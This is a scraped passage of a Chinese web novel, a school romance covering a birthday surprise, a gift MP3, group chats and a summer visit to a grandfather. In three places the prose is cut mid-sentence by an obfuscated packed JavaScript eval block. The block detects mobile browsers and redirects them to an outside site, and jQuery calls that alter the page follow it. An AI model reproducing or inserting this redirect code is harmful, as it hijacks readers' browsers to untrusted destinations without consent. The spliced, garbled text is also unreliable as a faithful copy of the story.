舒言嗯哼了一声，“真的哦。” 张筱竹拿出一张纸擦了擦眼睛，声音还带着哭腔，“那好，我这周就让我爸妈带我去看脸。” 她苦笑了一声，“希望他们不会骂我吧。” 她有点不好意思地说：“谢谢你，舒言。” 舒言温柔地笑了笑，“小事小事，希望你能尽快好起来。” 张筱竹赧然一笑：“我也希望。” 等她整理好情绪后，舒言才和她一起回到了大部队。 张筱竹还是重新戴上了口罩，但舒言相信她很快就可以摘下口罩。 …… 下课后，舒言和蔡妙妙一起回教室。 爬楼梯的时候正好撞见其他班的学生下来上体育课。 他们手里拿着羽毛球拍，乒乓球拍，兴高采烈地往下面走。 舒言津津有味地听蔡妙妙讲她新写的小说剧情，手上忽然被她拍了几下。 “言言，言言，快看，是篮球7号。” 蔡妙妙有些兴 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15236209|166098||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 奋地说。 周围的其他女同学也发出好帅的声音。 舒言抬头一看，谢玙和何昭就站在两节楼梯之间的平台上。 他们低着头正在和王远说话。 很快，两个人就继续往下走来。 蔡妙妙小声和她说：“来了来了。” 这个时候，迎面走来的谢玙和何昭似乎也看到了她。 何昭俏皮地朝她做了个单眼Wink。 舒言成功被他给逗笑。 而他身侧的谢玙一贯的冷淡神色，一身白色校服短袖加黑色校裤，乌发浅眸，肤色白得像是融了层霜，身高腿长，在人群里很是出类拔萃。 想到上次某人说自己为什么不和他们打招呼的事情。 舒言抬眸和谢玙对视上，然后小小地挥了下手。 ……这样应该也算是打了招呼吧。 后者不知是有意还是无意的，侧身经过的时候带着凉意的手臂不小心蹭到了她的。 舒言下意识地摸了下自己小臂的外侧。 皮肤接触带来的颤栗感，连带起一种微妙的感觉。 等他们走远后，蔡妙妙才开始大声说话：“天哪，篮球7号好帅。” “这好像还是第一次这么近距离的看到他。” “这五官长得也太绝了，连睫毛都那么长，好像小说里的男主啊。” “不过……”蔡妙妙收紧挽住舒言的手臂，“你上次说和他不熟原来是真的啊。” “难怪你们刚才都没有打招呼。” 舒言讪讪一笑：“……” 她能说她其实打了招呼吗…… 真的有这么不明显吗？ …… 化学课上，周敏宣布了上次的化学竞赛结果。 班上一共有8个同学拿了一等奖，舒言也是其中之一。 拿了一等奖的同学自动进入下学期的省赛中。 除此之外，班上还有一部分同学拿了二等奖，剩下的基本都是三等奖。 因为拿了一等奖的同学下学期会代表南港市去参加省赛，所以学校这边打算在暑假对这部分同学进行集训。 宣布完这个消息后，周敏就开始讲新课了。 舒言心里却在想，今年暑假去爷爷那里的时间又被推迟了。 本来陈岚他们就不太愿意她放假去爷爷那里待着。 一时之间，她心里感到有些烦躁。 …… 很快时间就来到了周五。 今天是六一，是国际儿童节，也是舒言的生日。 除了班上几个要好的同学还有舍友以外，也没有其他人知道今天是她的生日。 不过她也不是那么高调的人。 以往在家的时候，她也没怎么过过生日，最多也就是陈岚在家给她做顿好吃的。 自从舒连溪出生后，陈岚忙于照顾他，连生日那顿饭也懒得做了。 这么多年过来，舒言也渐渐觉得生日不过是个可有可无的日子，和平时并没有什么不同。 蔡妙妙自然是记得她的生日的，还早早就准备好了礼物。 她知道舒言喜欢看书，特意买了两本书送给她，一本是严歌苓的《金陵十三钗》，还有一本是川端康成的《雪国》。 买书前她特意旁敲侧击打听清楚了，舒言没有这两本书。 陈质送给了她一副白色的有线耳机。 收到朋友的礼物和生日祝福，舒言心里自然也是感到高兴的。 晚自习前，许漫忽然出现在他们班级门口。 等舒言出去后，许漫一脸神秘兮兮地凑近她耳边说：“今天晚自习下课后，你先来我们班上等我，有大事。” 舒言点头说好，心里隐隐猜到可能是舍友偷偷准备了什么惊喜。 22. 第22章 晚自习下课后，舒言按照许漫说的来到高一8班教室门口等她。 许漫一下课就冲到教室外面等她了。 看到她以后，许漫立马拉着她的手避开人.流往楼下跑。 “快点，舒言，我们要来不及了。” 许漫拉着她一口气跑到了一楼，又七拐八拐地来到教学楼右侧的一块空地上，这里有几张石桌子，天气好的时候，很多学生都会在这里看书学习。 只是这里幽深僻静，晚上光线又不好，基本上没人来。 舒言小口喘着气，眼神迷茫地问：“许漫，我们到这里来干嘛呢？” 许漫也在喘气，她用手扇了扇风，“马上，他们马上就来了。” “他们是谁？” 正在舒言疑惑不解的时候，路口处忽然窜出来几个人。 “噔噔噔噔，惊不惊喜，意不意外，舒言同学，我们来了。” 这是何昭的声音。 舒言旋即朝那边看了过去。 只见何昭乐呵呵的和自己打招呼，在他的身后紧跟着的是谢玙，还有梁潇雨，梁霄云两兄妹。 他们从阴影里走出来，离得越近，落拓的身形也就越发清晰，直到在她们身前站立。 谢玙单肩背着书包，另只手里提着生日蛋糕，把蛋糕放在石桌上后，回过头后很自然地看向了舒言。 学校的设施年久失修，幽微的灯光穿透脏兮兮的灯罩照出来，暮色里他的五官有一半都隐匿在暗淡的光影中。 可舒言清透的眼眸却看得格外清晰，没错过他脸上的半点神情。 少年眉前耷拉着点黑色碎发，眼睛在宛若清泉水洗净的玛瑙棋子，干净明澈，不含半点杂质。 他眼里有清凌凌的笑意，唇角弯起好看的弧度。 她听见他对自己说：“生日快乐。” 在这个瞬间，舒言仿佛听见自己脑海里有烟花绽放，一颗心柔软得不像话。 她眼睛开始发涩，鼻腔也酸酸的。 当然并不只是因为谢玙，还因为—— 梁潇雨：“嘿嘿，过生日这种事情怎么能少得了我们呢，祝你生日快乐。” 梁霄云也说：“舒言，祝你生日快乐！” 何昭笑嘻嘻地凑过来：“舒言同学，恭喜你又大了一岁哦，祝你生日快乐，要天天开心哦。” 许漫亲昵地搂住她的肩膀，“舒言，生日快乐，祝你学业进步！” “嘿嘿，我知道你肯定想收到这个生日祝福。” “谢谢……谢谢你们的祝福。”舒言的眼眶湿湿的，纤长睫毛上带了颗晶莹的泪珠。 她没有想到他们居然会给自己过生日。 明明他们也才认识没有多久，平时的交集也不算太多。 许漫调侃道：“寿星是不可以哭的哦。” 何昭咧嘴轻笑：“好啦好啦，快来点上生日蜡烛许愿吧。” 舒言吸了下鼻子，有点不好意思地说：“好。” 大家没有半点嫌弃地围坐在石桌周围。 蛋糕做的很漂亮，白色的奶油上面有精致的裱花，上面还写了舒言的名字缩写和生日快乐这几个字。 舒言插上一根蜡烛，用火柴点燃，在大家的注视下戴上生日帽，再次接受了他们的生日祝福。 蜡烛摇曳的光线下，大家自发给她唱起了生日歌。 “祝你生日快乐，祝你生日快乐，祝你生日，祝你生日快乐……” 舒言微笑着看向自己的朋友们，内心再一次被幸福感所充斥。 谢谢你们。 谢谢你们。 她一遍遍在心里说。 唱完生日歌后，梁潇雨迫不及待地说：“好了，快许愿吧。” 何昭附和道：“对啊，快许愿吧，许完愿该吃蛋糕了。” 舒言点点头，双手撑在石桌上，慢慢合拢在一起。 闭上眼睛前，她借着烛火大胆打量着对面的谢玙，两人的视线在空中短暂交接，又像被蜡烛烫到似的快速移开。 心脏怦怦直跳。 脸上的薄红在鹅黄色的烛光下一览无余。 恍惚间，她都要觉得自己是这个世界上最幸运的人。 喜欢的人给自己过生日。 她何其有幸。 至少在此时此刻，她一定是幸福的。 是她16年来最幸福的时刻。 她好想让时间慢下来。 舒言闭上眼睛开始许愿。 这一次，她的生日愿望里有他。 她希望谢玙能够实现他的梦想，成为闪闪发光的大明星。 希望她的朋友们都美梦成真。 最后她也祝自己能够得偿所愿。 蜡烛被吹灭那一刻，欢呼声随即响起。 大家一起开心地分食着蛋糕，气氛热烈而欢快，所有人都沉浸在其中。 没有人注意到在不远处有道身影在默默观察他们，藏匿在黑暗中许久才离开。 梁潇雨吃得腮帮子鼓鼓的，像只可爱的小河豚。 她歪着头看舒言，语气有些得意：“好吃吗？这个蛋糕可以我哥亲手做的哦。” 闻言，舒言有些惊讶，这个蛋糕做得比她之前吃过的蛋糕都要好吃，外观也要更精致一些，没想到居然是梁霄云自己做的。 她侧目看梁霄云，感激一笑：“蛋糕很好吃，谢谢霄云学长，辛苦了。” 梁霄云目光柔和，“不用那么客气，你喜欢的话就多吃点。另外，如果你不介意的话，可以和潇雨一样喊我哥哥。” 他从小照顾妹妹，身上总有一种这个年级不该有的成熟和稳重。 对于和梁潇雨年级相仿的女生，他一般都当成妹妹看待。 他虽然和舒言的接触不算多，但看得出来她是个善良又优秀好女孩，潇雨貌似也挺喜欢她的，他自然也当妹妹来看。 梁霄云和梁潇雨都是南港中学的学生，梁潇雨在高一22班，而梁霄云是高二的，比他们要大一届。 舒言没有哥哥，说实话她小时候还挺想要一个哥哥的，她第一次看到梁霄云和梁潇雨的时候，就发现他们兄妹的感情真的很好。 对于梁霄云的提议，舒言先扭头看了看梁潇雨，怕她会不会不太高兴。 梁潇雨不在意地笑了笑，“没关系的，想叫就叫呗，反正他只有我一个亲妹妹。” 梁霄云看着妹妹宠溺一笑，“我们潇雨最懂事了。” 梁潇雨眨了眨亮晶晶的眼睛：“是吧是吧，我也觉得。” 看着他们兄妹和谐相处的画面，大家都羡慕地笑了笑。 那句“哥哥”舒言自然是没有叫出来。 蛋糕很大，他们几个人没吃完，梁霄云让她带回去分给其他舍友。 谢玙看了眼腕表，说：“时间不早了，宿舍有门禁，你们先回宿舍，东西我们来收拾就好。” 除了舒言和许漫以外，其他人都是走读生。 舒言温声说好。 回到宿舍后，舒言把蛋糕分给另外几个舍友。 大家一脸惊喜地凑上来祝她生日快乐。 洗漱完以后，许漫又把舒言叫到一旁，悄悄从书包里拿出个东西递给她。 “喏，这是谢玙送给你的生日礼物，他让我转交给你的。” 还有礼物？ 舒言盯着手上的盒子看了许久，没看出来是什么东西，不过认出来盒子上的品牌标志是SONY。 许漫也很好奇，“快拆开看看。” 舒言把盒子打开，才发现里面居然是一个MP3。 粉色的外壳，有显示屏和按键，比她的手机稍微小点，很是精巧可爱。 许漫惊叹：“mp3啊，还是SONY的，可以啊，这个礼物。” 舒言对mp3的了解不多，但从许漫的反应来看，这个肯定不便宜。 舒言表情有些犹豫，“这个是不是挺贵的？” 许漫看了看型号，仔细回忆了一下，“em……这款应该一千多吧。” 一千多块钱对于当时的舒言来说，绝对不算是一笔小数目。 甚至比她用的那个手机都贵。 这个礼物对她来说确实有些贵重了。 许漫看出来她内心的想法，开解她：“哎呀，没事的，他既然送给你，那说明他送得起，你安心收着就是了。” 可舒言心中仍然纠结，也想不通他为什么会送给自己这么贵的东西。 许漫摊摊手，“这谁知道呢，你就当他有钱吧。” “你觉得贵，可对人家来说不过是九牛一毛罢了，何昭上次告诉我就他们乐队的所有乐器、设备全是谢玙掏钱买的。” 舒言心中显然还有疑问，就比如为什么谢玙他们会知道她的生日。 许漫解释说是之前在学校里碰到，她无意中说了一嘴，没想到他们居然记住了，前两天还约她一起准备惊喜。 “对了，我也有给你准备礼物哦。” 许漫拉开抽屉，从里面拿出一个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15236210|166098||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 棕色的小熊玩偶，“不过我的礼物就普普通通的了，是一个会唱歌的小熊。” 许漫给她演示，“你按这里它就会唱一些简单的歌，不过主要是儿歌。” 她按了一下，小熊果然开始唱生日快乐歌。 其他几个舍友也跟着唱了起来。 “希望你能喜欢。” 舒言把小熊抱在怀里，咧唇轻笑：“谢谢，我很喜欢。” 许漫笑靥如花：“你喜欢就好。” 舒言把朋友们送的礼物小心放好，尤其是谢玙送的那个mp3，她还是打算明天去还给他。 …… 第二天舒言一直记着找一个合适的机会去找谢玙道谢。 好不容易等到了大课间，一下课她就拿着盒子往楼下跑，都没顾得上去找物理老师问题。 一路上心脏都跳得飞快，等到了他们班门口，心跳声更是汹涌澎湃。 自从意识到自己喜欢他以后，舒言在面对他时就很难保持心平气和。 她来到教室后门的位置，深吸一口气后，对离后门最近的那个男生说：“同学，你好，我找一下谢玙。” 那个男生抬头看了她一眼，一看又是女生，笑嘻嘻地朝着教室里面十分高调地喊道：“谢玙，外面有妹子找你。” 教室里马上响起男生们嬉闹取笑的声音。 “哟，又有妹子找啊。” “不愧是谢玙，每天都有妹子找。” “这周第几个了啊，谢哥。” “还得是谢哥才这么受妹子欢迎。” “咱们班教室门口都成妹子旅游观光场所了……” 舒言在外面的走廊等谢玙出来的时候，余光注意到走廊的拐角处突然出来个男生。 舒言飞快抬头看了他一眼，发现那个男生也在看她，眼神还带了点玩味，看得她有点不舒服。 这个男生的长相还有看人的时候太有侵略性了，就仿佛凶猛的猎豹在看自己的猎物一样。 舒言立马挪开了视线。 不过好在谢玙很快就出来了，看见外面是她的时候，他似乎有点惊讶，还有点不自在的感觉。 他快步走到她身边，身上那股清淡的草木气息中和了她方才的不适感。 谢玙扯了下唇角，漂亮的桃花眼直视着她：“怎么了，找我有事吗？” 舒言唇线轻抿，把手里的盒子递到他面前，“谢谢你的礼物，但这个我不能收。” 看见她手上的东西，谢玙皱了下眉，没伸手接，眸色微沉，“既然送给你就是你的东西了，哪有还回来的道理。” 舒言语气执拗，清凌凌的眼睛透出一股坚定，“可是……这个对我来说太贵重了。” 谢玙想也没想地说：“不贵。” 沉吟几秒后，又问她：“是不喜欢吗？” “不是。” 这次轮到舒言下意识否认道。 他送的东西，她怎么可能会不喜欢…… 不管他送什么，在她这里都是无价之宝。 “既然如此，那你就收下。”谢玙眼皮轻撩，唇角弯了弯，声音里多了丝轻快，“里面有我给你下的林菲的歌，还有一些我觉得很好听的歌。” 末了，又补充道：“当然了，你想用它来听听力我也是没意见的。” 舒言没忍住发出一声轻笑，听出来他是在故意调侃她。 白皙的脸庞染上一抹红色。 虽然她确实很可能这么做。 “收下它，好不好？” 谢玙稍微俯下点身子，眼睛直勾勾地注视她，带了点恳请的意味。 面对眼前难以抗拒的诱惑，拒绝两个字直接卡在了舒言的喉咙。 她定定地看着他，“谢谢你，这份礼物我会好好珍惜。” 这个mp3对她而言是要比礼物更加珍贵的东西，是值得珍藏的存在。 而且她也知道，梁霄云他们会来给自己过生日肯定也是因为他的缘故。 她不禁在想他对每个朋友都这么好吗…… 谢玙克制住想要揉揉她脑袋的冲动，喉结滚动：“不客气，回去上课吧，这位出生在六一的——小朋友。” “小朋友”三个字被他特意加重了语气，落在舒言耳中有种酥酥麻麻的感觉。 舒言被他这个称呼弄得脸有点热，她红着脸轻“嗯”了一声。 “那我走了，你也快进去吧。” 等舒言的身影消失在楼梯的转角处，谢玙才转身进了教室。 23. 第23章 整个六月份都在紧张的学习中度过，期末考试那天，南港下了一场很大的雨，却依然没有浇灭酷暑的热气。 只要走在外面，哪怕是站在树荫下，都仿佛进了一个巨大的烤箱，下一秒就要融化。 考试结束后，大家一起在教室等待冉华容来放学。 暑假作业是早就布置下来了的，六个学科的作业加在一起组成了厚厚的一堵矮墙。 刚考完试大家难免有些兴奋，恨不得下一秒就能冲出学校。 好多同学都在相互分享自己暑假的计划。 “我要和爸妈一起出去玩，我们打算从南方一路玩到北方。” “哇，真羡慕你啊，我也想出去玩，可惜我爸妈没有时间。” “我打算去我姐姐那里玩，顺便看看我的小侄女……” “我打算追剧，就那个《宫》好像要重播了，真的可好看了。” 这时一道突兀的声音插了进来，是班上那个特爱装逼的马通海。 他抱着怀里的教材，洋洋得意地说：“我就不一样了，我打算自学下学期的教材，前面那几位，下学期等着被我反超吧！” 这话一出，周围的人立马噤声，个个都不说话了。 陈质轻嗤一声，小声吐槽了句：“可劲装吧，能超算小爷我输。” 马通海平时在班上特别爱表现，尤其爱拍老师的马屁，讲话又很夸张，丝毫不顾同学脸面，班上的同学都不怎么喜欢他。 见没人理自己，马通海又开始大声逼逼：“我劝各位同学，放假了还是别光顾着玩，下学期咱们可就高二了，再过一年可就高考了……” 蔡妙妙回头朝舒言耸了下肩，表达自己此刻无语的心情。 马通海原本还想继续说什么，但冉华容从教室前门进来了。 她交待了几句暑假的安全注意事项，尤其是严禁私自下河下塘洗澡，又提醒他们做好暑假规划，合理安排时间，最后告知他们期末成绩是三天后出来，到时候会发给班长，然后就宣布放假了。 她话音刚落，同学们立马欢呼雀跃起来。 “耶耶耶，终于放假了！” “冉老师暑假快乐！” “冉老师下学期见，我们先走啦。” “冉老师拜拜，下学期见。” 舒言和蔡妙妙也挥手和冉华容道别。 冉华容回以温和微笑，“嗯，拜拜，下学期见。” 蔡妙妙挽住舒言的手臂，给她讲自己暑假的安排。 “我打算把我那本小说写完，下学期带到学校来给你们看。” “我还屯了几本小说没看，可惜作业真的好多啊。” “言言，你暑假打算干什么呢？要不要出来一起玩。” 舒言在脑海里组织着措辞，语气有些无奈：“明天我们就要开始竞赛的集训了，一共要集训十五天，然后我打算去我爷爷家待一段时间，在那边把作业写完了再回来。” 蔡妙妙摸摸她的脑袋，露出怜爱的眼神，“呜呜呜，真惨啊，一天都不让你们休息。” “那后面我想找你玩怎么办？” 舒言莞尔一笑：“那你在Q.Q上给我发消息，我们可以约个时间一起出来玩。” 蔡妙妙疯狂点头，“好呀好呀。” “对了，我跟你说，我改了一些我女主的设定，你听听看看这样行不行……” “好，你说吧。” 两人一路上说说笑笑的，很快就到了校门口。 蔡妙妙不舍地和她挥手，“拜拜了，言言，后面一定要一起出来玩。” 舒言轻笑：“好的，拜拜。” 分别后，舒言撑着伞步行回了家。 最近外面天气热，陈岚都带着舒连溪待在家里。 见她回来了，陈岚先是问她外面是不是还是很热，又问她成绩什么时候出来。 舒言攥紧书包带子，声音闷闷的，听不清情绪，“冉老师说三天后出来。” 陈岚又问她这次发挥得怎么样。 舒言说应该还行。 陈岚拍着怀里熟睡的舒连溪，自顾自点头，“你这两次考试都还不错，看来让你住校的决定很正确。” 舒言眼神下瞟没接话，但心里也觉得住校挺好的。 陈岚也没管她什么反应，脸上难得露出个满意的笑意，“好了，你进自己屋吧，晚饭好了叫你。” 舒言点点头，转身进了自己的房间。 她把书包放在椅子上，又把窗户打开通风，一股暖流立马铺在她脸上。 舒言用纸擦了擦脖子上的汗，又把风扇打开对准自己，身上的热气才散去了些。 她拉开书包拉链，把MP3拿出来，戴上耳机，按到音乐图标放了一首林菲的歌。 她坐在椅子上晃悠着小腿，嘴里情不自禁地开始哼歌。 林菲所有的歌都被谢玙下到了里面，曲库里还有一些热门歌手的歌，舒言猜应该是他喜欢的。 她还没听过几首歌，不过以后还有很多机会，她可以慢慢听。 听了一首歌后，舒言又拿出手机登录了Q.Q。 刚上线就看见何昭之前拉的那个小群的头像在跳动。 舒言想也没想地点了进去。 里面发了好多消息，直接99+了。 舒言翻到了最前面，一条条认真看下来。 【南港第一帅】：终于放假了，兄弟姐妹们一起出来happy[打call] 【萧萧落木】：我哥他们要补课[大哭][大哭] 【南港第一帅】：是诶，霄云下学期就高三了。 【南港第一帅】：那咱们一起聚一聚[举杯] 【一只猫】：我都行，看你们什么时候有空[托腮] 【南港第一帅】：行。@X@舒你俩出来说话。 过了十几分钟，谢玙才出来在群里冒了个泡。 【X】：说什么。 【南港第一帅】：什么时候出来一起玩。 又过了很久，谢玙才回复了他。 【X】：有空的时候。 【南港第一帅】：你听听自己在说什么废话[喷火][敲打] [南港第一帅]：还有舒言同学呢，怎么一直没冒泡，尖子班不会还没放假吧@舒@舒@舒 【一只猫】：何昭，别在群里发疯，人家舒言看到了肯定会回的[擦汗] 【南港第一帅】：不好意思，习惯了[滑跪] 之后何昭一直在群里发消息，其他人偶尔出来回复两句。 舒言粗略瞄了几眼，就在聊天对话框里输入。 【舒】：不好意思，我暑假要先参加竞赛集训，最近可能没有时间。 这句话发出去后，何昭的消息立马在群里跳出来。 【南港第一帅】：这么勤奋吗？不愧是学霸[强][强][强] 这时几乎没怎么说话的谢玙忽然冷不丁出现。 【X】：集训多久？ 舒言打字的手颤抖了下，屏住呼吸回复他。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15236211|166098||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 【舒】:得半个月。 【南港第一帅】：不是，谢玙你什么意思，刚才我在群里发这么多消息你都不回我。 【南港第一帅】：怎么舒言同学一出来你就跟着出现了呀，你这个重色轻友的家伙[喷火][喷火][喷火] 【萧萧落木】：答案其实很明显[死亡微笑][死亡微笑] 【南港第一帅】：什么[疑惑] 【一只猫】：因为你实在是太吵了，我都想把群屏蔽了[无奈] 【南港第一帅】：[嚎啕大哭][嚎啕大哭][嚎啕大哭] 【南港第一帅】：我告诉你们，这个家没了我迟早得散。 【萧萧落木】：对于这句话，我有以下六点要说。 【萧萧落木】：…… 【一只猫】：哈哈哈哈哈哈哈笑死我了，潇雨你真搞笑[彩虹屁] 【萧萧落木】：嘿嘿，过奖了[害羞][害羞] 【一只猫】：不过舒言你真要集训这么久啊，这假期直接少了四分之一。 【舒】：是啊[惆怅][惆怅] 【萧萧落木】：可怜的孩子[怜悯][怜悯] 【一只猫】：那之后有什么安排吗？ 【舒】：打算回爷爷家待一段时间，把作业写完再回来。 【南港第一帅】：那暑假估计没时间聚了[点烟] 【萧萧落木】：是了[心碎][心碎] 之后群里就没人发消息了。 舒言翻看好友列表，意外发现谢玙的头像竟然还亮着。 他刚才在群里好像也没说几句话。 可她好想和他多聊几句啊。 要这么久不能见到他。 舒言的情绪一时之间有些低落。 面对他可能还在线的诱惑，内心有个小人在疯狂催促她抓住机会，去给他发消息，问问他在干嘛或者暑假打算干什么。 舒言也真的这么做了。 【舒】：你暑假准备干什么呢？ 发完消息后原本以为要等一会儿，结果他很快就回复了。 【X】：做作业，写歌，练歌。 【X】：你呢？打算一直学习？ 舒言盯着屏幕思索要怎么回复他。 如果她回答是的话，他会不会觉得自己是个很无趣的人，就好像一个学习机器一样。 如果说不是的话，那她要说着什么呢？ 手指比大脑先一步反应过来，她在屏幕上打下—— 不是，也想去听你唱歌的。 发完这句话后，舒言心跳得比刚才更快了。 她直接把手机塞进了抽屉里，过了好一会儿，才敢拿出来看他回复没有。 看之前她还做了个深呼吸，鼓起勇气后才敢把手机拿出来，慢慢睁开眼睛去看屏幕上的字。 在看清的那刻，她直接睁大了双眼。 他回复的是：随时欢迎。 舒言难以形容自己此刻的激动，她双手捂住脸，感觉自己的脸更热了。 怎么办，她好像真的很喜欢他。 高兴之余舒言也没忘了回复他。 【舒】:好，期待[可爱] 直到外面传来陈岚的声音，舒言才恋恋不舍地把手机放下。 吃饭的时候，陈岚明显感觉到她心情似乎不错。 在看到舒言脸上的笑容时，陈岚有片刻的错愕。 她埋头吃了一口饭，脑海里却想不起上一次看见自己这个女儿笑是什么时候。 24. 第24章 竞赛集训的日子很苦，一群高中生在炎炎夏日里窝在一个拥挤的教室里。 教室上方的风扇不知疲惫地运转着，不停发出吱呀吱呀的声音，让这个夏天变得更加漫长难熬。 每天上午老师会给他们做定时训练，做完以后就开始讲评，有时候也会让他们自己小组讨论。 课间休息的时候，舒言总是习惯一个人待在座位上，把头窝在臂弯里，看着窗外生命力旺盛的绿色香樟树。 偶尔她也会拿出MP3听首歌，耳机里舒缓好听的音乐总能帮她驱散疲惫。 每次听歌的时候，舒言总是不由自主地会想到谢玙。 学习的日子总是很苦，但是每每想到他的时候，这种苦闷似乎变得也没有那么难以忍受了。 这是认识他以后的第一个夏天。 舒言看着玻璃里自己模糊的脸庞，伸出手想要触碰，脑海里浮现的却是他的样子。 印象中，他的气质总是干净明朗又少年感十足。 虽然他外表看上去冷冰冰的，有点高冷，但舒言却觉得他是一个很温柔，很细心的男生，和他相处的时候，总让她联想到清风，想到春雨，想到青柠味的汽水……想到一切美好的事物。 一首歌播放完毕，舒言收好MP3，仰起头往眼睛里低了两滴缓解疲劳的眼药水，又埋头在化学的题海中。 集训结束那天，老师给他们发了一本厚厚的题集，让他们暑假记得完成，并提醒他们开学后很快就要去参加省赛。 下课后，舒言班上的同学一起去外面的饭馆吃了顿饭才回了家。 回家后她躲进房间里，迫不及待地拨通了爷爷的电话。 等了很久电话才被接通，里面传来一道急促的咳嗽声。 舒言顿时紧张起来，握紧手机问：“爷爷，你怎么了，是感冒了吗？” 那头的舒显廷听出来是她的声音，声音里很是惊喜，“是小槐啊，爷爷没事，都是老毛病了。” 说完又咳了好几声，听上去很是难受。 “爷爷！”舒言大声呼唤他，心却像被一根绳子拉紧，她立马拿出包开始收拾东西，“爷爷，我明天就回来看你，你在家等我回来。” 听见她说的话，电话里的舒显廷显然很高兴，笑着说：“好好好，爷爷就在家里等你，哪里都不去。” 舒言又叮嘱了他几句，才挂断了电话。 她低着头把衣服、作业还有要用的学习资料全都装进了包里。 她想好了，这次回老家去一定要多待一段时间，最好是快开学的时候再回来。 早些年爷爷去当过兵，那时候腿上就落下了病根，现在年纪大了，晚上经常疼得睡不着觉，她实在不放心他的身体。 第二天一大早，舒言就背着包出门去坐车。 陈岚起来上厕所，正好看见她出门时急急忙忙的样子。 回到卧室后和丈夫吐槽，“人家孩子都是和爸爸妈妈亲得不得了，咱家这个也不知道怎么回事，打小就和她爷爷亲得不得了。” 舒庆坤伸手用被子把脑袋盖住，没太在意地说：“哎呀，孩子大了都这样。” 陈岚心里却不这么认为，她伸手推了把男人，“你难道没觉得舒言这孩子好像话少了很多，平时也不和我咱们怎么交流，都是问一句才答一句。” “诶，你知道吗，期末考试回来那天，这孩子吃饭的时候居然在笑，给我都看惊讶了，好像这孩子是那天才学会笑似的……” 而回应她的是舒庆坤此起彼伏的呼噜声。 陈岚一脸嫌弃地把用被子把他的脸全被给盖住。 …… 爷爷家在青山镇，从城里坐车过去要两个多小时。 舒言坐在客车靠窗的位置上，却一点都不觉得路程很遥远，心里塞满了即将见到爷爷的喜悦。 这次回去她一定要多陪陪爷爷，试着给他做点好吃的，就像小时候爷爷照顾自己那样照顾他。 客车行驶在颠簸的路上，七拐八拐的，终于在两个半小时后到达了爷爷家附近的路口。 下车后舒言迫不及待地往爷爷家里走，路上还碰见了几个长辈，礼貌地招呼了几句。 看到爷爷家的房子后，舒言对着大门喊了一句，“爷爷，我回来了！” 听见她的声音够，里面很快就出来个穿着一身黑的老人。 舒显廷站在大门口，咧着嘴和她招手，嘴里喊着：“小槐！” 看见爷爷的那一刻，舒言的眼泪就控制不住地往下掉，啪嗒啪嗒，她冲过去把包往地上一扔，立马倾身抱住了他。 舒言带着哭腔喊他，声音满满都是对他的思念，“爷爷。” 舒显廷心疼地拍着孙女的背，安抚她：“怎么哭了，小槐，我的乖孙女。” “不哭不哭。”舒显廷粗粝的手指帮她擦着脸上的眼泪，苍老浑浊的眼里全都是对孙女的关爱，“又瘦了，是不是学习太辛苦了。” “不是的，爷爷。”舒言摇摇头，拉着他进了屋，胡乱擦了一把脸，破涕而笑，“爷爷，告诉你一个好消息，我这学期成绩进步了很多。” “以后我一定会考上一个很好的大学，到时候带你去我的学校里逛逛。” 舒显廷目光慈爱地拍拍她的手，“爷爷就知道我们小槐是这个世界上最聪明的女孩子，不过别太累着自己了，健健康康的最重要。” 舒言鼻子又是一酸，“我知道的，爷爷。” 舒显廷帮她放好行李，拖着不太方便的双腿往柜子那边走，转过身来时手上提着一大包吃的递给她。 他笑眯眯地给舒言展示，“这里面有饼干和糖果，全都是你喜欢吃的，快吃吧，我马上去给你做饭。” 舒言心情复杂地接了过来，但没着急去吃东西，而是说：“爷爷，我来帮你。” 舒显廷却执意不肯，“小槐坐下休息，我来做就行，很快就好，不会饿着我的乖孙女。” 说完马上进了厨房，还把门关上了。 舒言只能作罢，她坐下撕开了饼干，酥酥脆脆的口感，还是小时候的味道，嘴里心里全是甜甜的。 还记得小时候爷爷是镇上的领导，每次去镇上开完会，一定会给她买棒棒糖和饼干吃。 堂哥堂姐来问爷爷要他都不给，全都只留给舒言。 在爷爷这里，她永远拥有独一无二的宠爱。 舒言几乎整个暑假都待在青山镇。 她每天除了做作业以外，还会陪着爷爷聊天，散步，下棋，有时候还会和爷爷一起去钓鱼，挖藕。 舒言还想带着他去城里做个身体检查，但舒显廷不愿意去，说都是老毛病了，吃点药就好了。 但舒言还是带着他去了镇上的医院做了检查，医生又给他开了好大一堆药。 于是舒言每天又多了一个任务，盯着他按时吃药。 日子一天一天过去，很快就到了不得不回去的时候。 舒显廷把她送上了车，苍老的脸上皱纹纵横，眼里全是不舍：“小槐要照顾好自己，放假了再来看爷爷。” 